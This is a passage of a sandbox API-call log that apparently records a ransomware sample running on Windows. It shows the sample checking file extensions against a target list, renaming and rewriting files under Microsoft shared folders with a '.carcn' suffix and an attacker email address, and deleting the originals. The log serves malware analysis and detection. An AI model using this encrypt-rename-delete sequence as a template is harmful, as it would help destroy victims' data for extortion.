lpString2=".exe") returned 1 [0296.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.102] lstrlenW (lpString=".doc") returned 4 [0296.103] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0296.103] lstrlenW (lpString=".docx") returned 5 [0296.103] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0296.103] lstrlenW (lpString=".pdf") returned 4 [0296.103] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0296.103] lstrlenW (lpString=".xls") returned 4 [0296.103] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0296.103] lstrlenW (lpString=".xlsx") returned 5 [0296.103] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0296.103] lstrlenW (lpString=".ppt") returned 4 [0296.103] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0296.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.103] lstrlenW (lpString=".zip") returned 4 [0296.103] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0296.103] lstrlenW (lpString=".rar") returned 4 [0296.103] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0296.103] lstrlenW (lpString=".bz2") returned 4 [0296.103] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0296.103] lstrlenW (lpString=".7z") returned 3 [0296.103] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0296.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.103] lstrlenW (lpString=".dbf") returned 4 [0296.103] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0296.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.103] lstrlenW (lpString=".1cd") returned 4 [0296.103] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0296.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe") returned 58 [0296.103] lstrlenW (lpString=".jpg") returned 4 [0296.104] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0296.104] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0296.104] lstrlenW (lpString="mraut.dll") returned 9 [0296.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0296.104] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6368768) returned 1 [0296.104] CloseHandle (hObject=0x334) returned 1 [0296.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0296.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0296.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.109] lstrlenW (lpString=".doc") returned 4 [0296.109] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.109] lstrlenW (lpString=".docx") returned 5 [0296.109] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0296.109] lstrlenW (lpString=".pdf") returned 4 [0296.109] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.109] lstrlenW (lpString=".xls") returned 4 [0296.109] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.109] lstrlenW (lpString=".xlsx") returned 5 [0296.109] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0296.110] lstrlenW (lpString=".ppt") returned 4 [0296.110] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.110] lstrlenW (lpString=".zip") returned 4 [0296.110] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.110] lstrlenW (lpString=".rar") returned 4 [0296.110] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.110] lstrlenW (lpString=".bz2") returned 4 [0296.110] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.110] lstrlenW (lpString=".7z") returned 3 [0296.110] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.110] lstrlenW (lpString=".dbf") returned 4 [0296.110] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.110] lstrlenW (lpString=".1cd") returned 4 [0296.110] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.110] lstrlenW (lpString=".jpg") returned 4 [0296.110] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.110] lstrlenW (lpString=".doc") returned 4 [0296.110] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.110] lstrlenW (lpString=".docx") returned 5 [0296.110] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0296.110] lstrlenW (lpString=".pdf") returned 4 [0296.110] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.111] lstrlenW (lpString=".xls") returned 4 [0296.111] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.111] lstrlenW (lpString=".xlsx") returned 5 [0296.111] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0296.111] lstrlenW (lpString=".ppt") returned 4 [0296.111] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.111] lstrlenW (lpString=".zip") returned 4 [0296.111] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.111] lstrlenW (lpString=".rar") returned 4 [0296.111] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.111] lstrlenW (lpString=".bz2") returned 4 [0296.111] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.111] lstrlenW (lpString=".7z") returned 3 [0296.111] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.111] lstrlenW (lpString=".dbf") returned 4 [0296.111] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.111] lstrlenW (lpString=".1cd") returned 4 [0296.111] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll") returned 60 [0296.111] lstrlenW (lpString=".jpg") returned 4 [0296.111] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.111] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0296.112] lstrlenW (lpString="mshwgst.dll") returned 11 [0296.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0296.112] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=51200) returned 1 [0296.112] CloseHandle (hObject=0x334) returned 1 [0296.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0296.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.113] lstrlenW (lpString=".doc") returned 4 [0296.113] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.113] lstrlenW (lpString=".docx") returned 5 [0296.113] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0296.113] lstrlenW (lpString=".pdf") returned 4 [0296.113] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.113] lstrlenW (lpString=".xls") returned 4 [0296.113] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.113] lstrlenW (lpString=".xlsx") returned 5 [0296.113] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0296.113] lstrlenW (lpString=".ppt") returned 4 [0296.113] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.113] lstrlenW (lpString=".zip") returned 4 [0296.113] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.113] lstrlenW (lpString=".rar") returned 4 [0296.113] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.113] lstrlenW (lpString=".bz2") returned 4 [0296.113] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.113] lstrlenW (lpString=".7z") returned 3 [0296.113] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.113] lstrlenW (lpString=".dbf") returned 4 [0296.113] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.113] lstrlenW (lpString=".1cd") returned 4 [0296.113] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.114] lstrlenW (lpString=".jpg") returned 4 [0296.114] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.114] lstrlenW (lpString=".doc") returned 4 [0296.114] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.114] lstrlenW (lpString=".docx") returned 5 [0296.114] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0296.114] lstrlenW (lpString=".pdf") returned 4 [0296.114] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.114] lstrlenW (lpString=".xls") returned 4 [0296.114] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.114] lstrlenW (lpString=".xlsx") returned 5 [0296.114] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0296.114] lstrlenW (lpString=".ppt") returned 4 [0296.114] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.114] lstrlenW (lpString=".zip") returned 4 [0296.114] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.114] lstrlenW (lpString=".rar") returned 4 [0296.114] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.114] lstrlenW (lpString=".bz2") returned 4 [0296.114] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.114] lstrlenW (lpString=".7z") returned 3 [0296.114] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.114] lstrlenW (lpString=".dbf") returned 4 [0296.114] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.115] lstrlenW (lpString=".1cd") returned 4 [0296.115] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned 62 [0296.115] lstrlenW (lpString=".jpg") returned 4 [0296.115] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.115] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0296.115] lstrlenW (lpString="mshwLatin.dll") returned 13 [0296.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0296.115] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1075712) returned 1 [0296.116] CloseHandle (hObject=0x334) returned 1 [0296.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0296.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.116] lstrlenW (lpString=".doc") returned 4 [0296.116] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.116] lstrlenW (lpString=".docx") returned 5 [0296.116] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0296.116] lstrlenW (lpString=".pdf") returned 4 [0296.116] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.116] lstrlenW (lpString=".xls") returned 4 [0296.116] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.116] lstrlenW (lpString=".xlsx") returned 5 [0296.116] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0296.116] lstrlenW (lpString=".ppt") returned 4 [0296.116] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.116] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.116] lstrlenW (lpString=".zip") returned 4 [0296.116] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.116] lstrlenW (lpString=".rar") returned 4 [0296.117] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.117] lstrlenW (lpString=".bz2") returned 4 [0296.117] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.117] lstrlenW (lpString=".7z") returned 3 [0296.117] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.117] lstrlenW (lpString=".dbf") returned 4 [0296.117] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.117] lstrlenW (lpString=".1cd") returned 4 [0296.117] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.117] lstrlenW (lpString=".jpg") returned 4 [0296.117] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.117] lstrlenW (lpString=".doc") returned 4 [0296.117] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0296.117] lstrlenW (lpString=".docx") returned 5 [0296.117] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0296.117] lstrlenW (lpString=".pdf") returned 4 [0296.117] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0296.117] lstrlenW (lpString=".xls") returned 4 [0296.117] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0296.117] lstrlenW (lpString=".xlsx") returned 5 [0296.117] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0296.117] lstrlenW (lpString=".ppt") returned 4 [0296.117] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0296.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.118] lstrlenW (lpString=".zip") returned 4 [0296.118] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0296.118] lstrlenW (lpString=".rar") returned 4 [0296.118] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0296.118] lstrlenW (lpString=".bz2") returned 4 [0296.118] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0296.118] lstrlenW (lpString=".7z") returned 3 [0296.118] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0296.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.118] lstrlenW (lpString=".dbf") returned 4 [0296.118] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0296.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.118] lstrlenW (lpString=".1cd") returned 4 [0296.118] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0296.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned 64 [0296.118] lstrlenW (lpString=".jpg") returned 4 [0296.118] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0296.118] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0296.118] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0296.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0296.119] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=10240) returned 1 [0296.119] CloseHandle (hObject=0x334) returned 1 [0296.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0296.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0296.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0296.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0296.120] lstrlenW (lpString=".doc") returned 4 [0296.120] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0296.120] lstrlenW (lpString=".docx") returned 5 [0296.120] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0296.120] lstrlenW (lpString=".pdf") returned 4 [0296.120] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0296.120] lstrlenW (lpString=".xls") returned 4 [0296.120] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0296.120] lstrlenW (lpString=".xlsx") returned 5 [0296.120] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0296.120] lstrlenW (lpString=".ppt") returned 4 [0296.120] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0296.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0296.120] lstrlenW (lpString=".zip") returned 4 [0296.120] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0296.120] lstrlenW (lpString=".rar") returned 4 [0296.120] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0296.120] lstrlenW (lpString=".bz2") returned 4 [0296.120] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0296.120] lstrlenW (lpString=".7z") returned 3 [0296.120] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0296.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui") returned 72 [0296.120] lstrlenW (lpString=".dbf") returned 4 [0296.121] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0296.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0296.125] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.126] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0296.126] GetLastError () returned 0x0 [0296.126] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x58cd0, lpOverlapped=0x0) returned 1 [0296.182] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x58ce0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x58ce0, lpOverlapped=0x0) returned 1 [0296.189] ReadFile (in: hFile=0x334, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.189] WriteFile (in: hFile=0x360, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0296.190] SetEndOfFile (hFile=0x360) returned 1 [0296.190] CloseHandle (hObject=0x360) returned 1 [0296.190] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.190] SetEndOfFile (hFile=0x334) returned 1 [0296.194] CloseHandle (hObject=0x334) returned 1 [0296.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0296.194] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 1 [0296.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.195] lstrlenW (lpString=".doc") returned 4 [0296.195] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0296.195] lstrlenW (lpString=".docx") returned 5 [0296.195] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0296.195] lstrlenW (lpString=".pdf") returned 4 [0296.195] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0296.195] lstrlenW (lpString=".xls") returned 4 [0296.195] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0296.195] lstrlenW (lpString=".xlsx") returned 5 [0296.195] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0296.195] lstrlenW (lpString=".ppt") returned 4 [0296.195] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0296.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0296.195] 